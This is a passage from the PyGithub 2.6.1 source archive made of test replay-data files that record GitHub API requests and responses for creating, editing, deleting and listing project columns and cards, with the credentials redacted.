'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"body": "Project Body", "name": "Project created by PyGithub"} 201 [('Server', 'GitHub.com'), ('Date', 'Sun, 16 Dec 2018 22:02:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1373'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4989'), ('X-RateLimit-Reset', '1544999455'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', '"bf99d7ce1a2fe172bd5715baa6a96669"'), ('Location', 'https://api.github.com/projects/2013874'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '8FE4:0E37:25EFA8D:55896AD:5C16CB8F')] {"owner_url":"https://api.github.com/repos/bbi-yggy/PyGithub","url":"https://api.github.com/projects/2013874","html_url":"https://github.com/bbi-yggy/PyGithub/projects/2","columns_url":"https://api.github.com/projects/2013874/columns","id":2013874,"node_id":"MDc6UHJvamVjdDIwMTM4NzQ=","name":"Project created by PyGithub","body":"Project Body","number":2,"state":"open","creator":{"login":"bbi-yggy","id":1086629,"node_id":"MDQ6VXNlcjEwODY2Mjk=","avatar_url":"https://avatars0.githubusercontent.com/u/1086629?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-12-16T22:02:56Z","updated_at":"2018-12-16T22:02:56Z"} https POST api.github.com None /projects/2013874/columns {'Content-Type': 'application/json', 'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"name": "Project Column created by PyGithub"} 201 [('Server', 'GitHub.com'), ('Date', 'Sun, 16 Dec 2018 22:02:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '355'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4988'), ('X-RateLimit-Reset', '1544999455'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', '"e665df9df30f8cacff8d513a747defae"'), ('Location', 'https://api.github.com/projects/columns/3999333'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'A49A:0E36:145887E:33DDBB8:5C16CB90')] {"url":"https://api.github.com/projects/columns/3999333","project_url":"https://api.github.com/projects/2013874","cards_url":"https://api.github.com/projects/columns/3999333/cards","id":3999333,"node_id":"MDEzOlByb2plY3RDb2x1bW4zOTk5MzMz","name":"Project Column created by PyGithub","created_at":"2018-12-16T22:02:57Z","updated_at":"2018-12-16T22:02:57Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ProjectColumn.testCreateCard.txt0000644000175100001660000000623014756101563024400 0ustar00runnerdockerhttps POST api.github.com None /projects/columns/8700460/cards {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"note": "NewCard"} 201 [('Date', 'Tue, 14 Apr 2020 18:17:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1380'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4970'), ('X-RateLimit-Reset', '1586891695'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"2bca70b58ac201ff69ebf718be34bbe2"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('Location', 'https://api.github.com/projects/columns/cards/36290228'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'E8F0:6E59:1E24A47:2387851:5E95FE55')] {"url":"https://api.github.com/projects/columns/cards/36290228","project_url":"https://api.github.com/projects/4294766","id":36290228,"node_id":"MDExOlByb2plY3RDYXJkMzYyOTAyMjg=","note":"NewCard","archived":false,"creator":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1266346?u=9ff2d1d568ef21b9fc83b189c44594d5816a9990&v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"created_at":"2020-04-14T18:17:57Z","updated_at":"2020-04-14T18:17:57Z","column_url":"https://api.github.com/projects/columns/8700460"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ProjectColumn.testDelete.txt0000644000175100001660000000675314756101563023617 0ustar00runnerdockerhttps GET api.github.com None /projects/columns/8747987 {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Thu, 16 Apr 2020 05:35:02 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4968'), ('X-RateLimit-Reset', '1587018428'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"aa3a7d465eb2292ad4dae97e54d06bc1"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D4DC:200F7:11C86CC:14C5AC2:5E97EE86')] {"url":"https://api.github.com/projects/columns/8747987","project_url":"https://api.github.com/projects/4294766","cards_url":"https://api.github.com/projects/columns/8747987/cards","id":8747987,"node_id":"MDEzOlByb2plY3RDb2x1bW44NzQ3OTg3","name":"test","created_at":"2020-04-16T05:34:23Z","updated_at":"2020-04-16T05:34:23Z"} https DELETE api.github.com None /projects/columns/8747987 {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Date', 'Thu, 16 Apr 2020 05:35:03 GMT'), ('Server', 'GitHub.com'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4967'), ('X-RateLimit-Reset', '1587018428'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'D4DE:18633:3644A6:3E3C58:5E97EE87')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ProjectColumn.testEdit.txt0000644000175100001660000000413514756101563023272 0ustar00runnerdockerhttps PATCH api.github.com None /projects/columns/8748065 {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "newTestColumn"} 200 [('Date', 'Thu, 16 Apr 2020 05:44:21 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4958'), ('X-RateLimit-Reset', '1587018429'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"300ff83801042bc987edec9dded63773"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8556:29EB3:181AABA:1C1A3C6:5E97F0B4')] {"url":"https://api.github.com/projects/columns/8748065","project_url":"https://api.github.com/projects/4294766","cards_url":"https://api.github.com/projects/columns/8748065/cards","id":8748065,"node_id":"MDEzOlByb2plY3RDb2x1bW44NzQ4MDY1","name":"newTestColumn","created_at":"2020-04-16T05:42:37Z","updated_at":"2020-04-16T05:44:21Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ProjectColumn.testGetAllCards.txt0000644000175100001660000002212314756101563024527 0ustar00runnerdockerhttps GET api.github.com None /projects/columns/8700460/cards?archived_state=all&per_page=1 {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 14 Apr 2020 18:14:25 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4940'), ('X-RateLimit-Reset', '1586888091'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c3932f4fc4f085b929f97a755d4bc619"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Link', '; rel="next", ; rel="last"'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E7C2:2D644:26F8AC2:2DEE2FC:5E95FD81')] [{"url":"https://api.github.com/projects/columns/cards/36285184","project_url":"https://api.github.com/projects/4294766","id":36285184,"node_id":"MDExOlByb2plY3RDYXJkMzYyODUxODQ=","note":"Note3","archived":false,"creator":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1266346?u=9ff2d1d568ef21b9fc83b189c44594d5816a9990&v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"created_at":"2020-04-14T16:57:26Z","updated_at":"2020-04-14T16:57:26Z","column_url":"https://api.github.com/projects/columns/8700460"}] https GET api.github.com None /projects/columns/8700460/cards?archived_state=all {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 14 Apr 2020 18:14:26 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4939'), ('X-RateLimit-Reset', '1586888092'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"bcff97ef456baf6e3faceebd24c0b6f0"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E7C4:19719:159936D:1965777:5E95FD82')] [{"url":"https://api.github.com/projects/columns/cards/36285184","project_url":"https://api.github.com/projects/4294766","id":36285184,"node_id":"MDExOlByb2plY3RDYXJkMzYyODUxODQ=","note":"Note3","archived":false,"creator":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1266346?u=9ff2d1d568ef21b9fc83b189c44594d5816a9990&v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"created_at":"2020-04-14T16:57:26Z","updated_at":"2020-04-14T16:57:26Z","column_url":"https://api.github.com/projects/columns/8700460"},{"url":"https://api.github.com/projects/columns/cards/36281526","project_url":"https://api.github.com/projects/4294766","id":36281526,"node_id":"MDExOlByb2plY3RDYXJkMzYyODE1MjY=","note":"Note2","archived":false,"creator":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1266346?u=9ff2d1d568ef21b9fc83b189c44594d5816a9990&v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"created_at":"2020-04-14T16:00:37Z","updated_at":"2020-04-14T16:00:37Z","column_url":"https://api.github.com/projects/columns/8700460"},{"url":"https://api.github.com/projects/columns/cards/36281516","project_url":"https://api.github.com/projects/4294766","id":36281516,"node_id":"MDExOlByb2plY3RDYXJkMzYyODE1MTY=","note":"Note1","archived":true,"creator":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1266346?u=9ff2d1d568ef21b9fc83b189c44594d5816a9990&v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"created_at":"2020-04-14T16:00:32Z","updated_at":"2020-04-14T16:57:32Z","column_url":"https://api.github.com/projects/columns/8700460"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ProjectColumn.testGetArchivedCards.txt0000644000175100001660000001426414756101563025553 0ustar00runnerdockerhttps GET api.github.com None /projects/columns/8700460/cards?archived_state=archived&per_page=1 {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 14 Apr 2020 18:14:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1586891695'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"cc21f8c4409a7da6edaceac3de3cd1db"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E7CC:42898:2379A2:2982BE:5E95FDA0')] [{"url":"https://api.github.com/projects/columns/cards/36281516","project_url":"https://api.github.com/projects/4294766","id":36281516,"node_id":"MDExOlByb2plY3RDYXJkMzYyODE1MTY=","note":"Note1","archived":true,"creator":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1266346?u=9ff2d1d568ef21b9fc83b189c44594d5816a9990&v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"created_at":"2020-04-14T16:00:32Z","updated_at":"2020-04-14T16:57:32Z","column_url":"https://api.github.com/projects/columns/8700460"}] https GET api.github.com None /projects/columns/8700460/cards?archived_state=archived {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 14 Apr 2020 18:14:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1586891696'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"cc21f8c4409a7da6edaceac3de3cd1db"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E7CE:19719:159B57E:1967FB3:5E95FDA1')] [{"url":"https://api.github.com/projects/columns/cards/36281516","project_url":"https://api.github.com/projects/4294766","id":36281516,"node_id":"MDExOlByb2plY3RDYXJkMzYyODE1MTY=","note":"Note1","archived":true,"creator":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1266346?u=9ff2d1d568ef21b9fc83b189c44594d5816a9990&v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"created_at":"2020-04-14T16:00:32Z","updated_at":"2020-04-14T16:57:32Z","column_url":"https://api.github.com/projects/columns/8700460"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 